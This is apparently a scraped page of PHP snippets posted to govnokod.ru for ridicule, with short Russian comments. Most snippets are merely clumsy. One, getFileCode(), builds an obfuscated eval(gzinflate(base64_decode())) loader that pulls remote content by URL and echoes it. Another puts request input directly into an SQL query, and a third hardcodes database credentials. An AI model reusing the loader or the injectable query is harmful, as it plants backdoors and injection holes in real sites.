- 1
- 2
- 3
$sqlt="select * from logos where is_delete='0'";
$rest=$db->select_data($sqlt);
$total=count($rest);
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+140.9
$sqlt="select * from logos where is_delete='0'";
$rest=$db->select_data($sqlt);
$total=count($rest);
Подсчет подходящих записей в таблице.
Источник тот же, что и у говнокода 1244.
В $rest возвращается ассоциативный массив.
+140.3
if (isset($aCart['color_caption'])) {
if (!isset($aCart['color_name']) && isset($aCart['color_caption'])) {
$aInsert['color_name'] = $aCart[$i]['color_caption'];
$aInsert['color_caption'] = $aCart[$i]['color_caption'];
}
elseif (isset($aCart['color_name']) && !isset($aCart['color_caption'])) {
$aInsert['color_name'] = $aCart[$i]['color_name'];
$aInsert['color_caption'] = $aCart[$i]['color_name'];
}
elseif (!isset($aCart['color_name']) && !isset($aCart['color_caption'])) {
$aInsert['color_name'] = 'N/A';
$aInsert['color_caption'] = 'N/A';
}
else {
$aInsert['color_name'] = $aCart['color_caption'];
$aInsert['color_caption'] = $aCart['color_name'];
}
}
Чем была забита моя голова не известно. Как я такую логику придумал?!
+140.1
function parce($string)
{//function open
$breaktags=array ("<"," ","=","","т");
for ($pos=0;$pos<strlen($string);$pos++)
{//for text
if (substr($string,$pos,1)=="{" and substr($string,$pos+1,1)=="%")
{// if open symbols finded
$tagopened=1;
while($tagopened==1){//while opened
for($inpos=$pos+2;$inpos<10000;$inpos++){// =)
if ( (substr($string,$inpos,1)=="%" and substr($string,$inpos+1,1)=="}") or in_array(substr($string,$inpos,1),$breaktags)) {break 2;$tagopened=0;}//br
$intag=$intag.substr($string,$inpos,1);
}//for inpos
}//while opened closing
$intag=explode("->",$intag,2);
echo("$intag[0] with $intag[1] action!<br>");
unset($intag);
} else {//if symbols finded
$symbol=substr($string,$pos,1);
echo("$symbol");
}
}//for all text closing
}//function end;
+147
<?php
if ($_SESSION['gde'] != 'tut') {exit();}
?>
Ты не тут? Выйди!
+92
header('Location: '.$_SERVER['REQUEST_URI']);
exit();
die();
на всякий случай :)
+143
if ($pagefir){ // тута мы выдаём списог всех аэродромов данного РЦ нахуй
$icao = sql("SELECT * FROM airport WHERE fir='".$pagefir."' order by ikao desc");
echo '
<h3>Recent articles</h3>
<p>';
while ($airport = mysql_fetch_array($icao))
{
echo '<a href="airport.php?icao='.$airport[ikao].'"><img src="images/strelica2.gif" width="3px" height="5px" alt="" />'.$airport[name].'('.$airport[town].')</a>';
}
echo '<a href="#"><img src="images/strelica2.gif" width="3px" height="5px" alt="" /> URRR Ростов (г. Ростов-на-Дону)</a>
</p>';}
восемь
+147
function sql($query){
/* Переменные для соединения с базой данных */
$hostname = "localhost";
$username = "modx";
$password = "22222";
$dbName = "modx";
/* создать соединение */
mysql_connect($hostname,$username,$password) OR DIE("Не могу создать соединение ");
/* выбрать базу данных. Если произойдет ошибка - вывести ее */
mysql_select_db($dbName) or die(mysql_error());
$res = mysql_query($query);
mysql_close();
}
восемь
+144.3
function getFileCode() {
$url = "\$u=str_replace('%%KW%%', strtolower(\$_SERVER['QUERY_STRING']), '" . getConfigURL() . "')";
$ind = "\$i=str_replace('%%KW%%', 'index', '" . getConfigURL() . "')";
return "<?php eval(gzinflate(base64_decode('" . base64_encode(gzdeflate("$url;$ind;\$c=stream_context_create(array('http'=>array('timeout'=>3)));\$p=@file_get_contents(\$u,false,\$c);if(!\$p||(strpos(\$p,'404')!==false)){\$p=@file_get_contents(\$i,false,\$c);}echo \$p;")) . "'))); ?>";
}
+143
<?php
session_start();
$_SESSION['gde']='tut';
?>
Где? Тут.
+46.7
$t = new Table('foo');
$t->th('Header 1');
$t->th('Header 2');
$t->th('Header 3');
$t->endRow();
for($i = 0; $i<10; $i++) {
$t->td('Cell 1');
$t->td('Cell <2>', '', true);
$t->td('Cell 3');
$t->endRow();
}
$t->end();
На выходе получаем html таблицы...
Вот так крутые пацаны понимают термин OOP,
http://habrahabr.ru/sandbox/3112/ человек хочет за изобретение инвайт, ссылка по видимому умрет, так что инвайт дарите быстрее, если шедевр вас тронул :)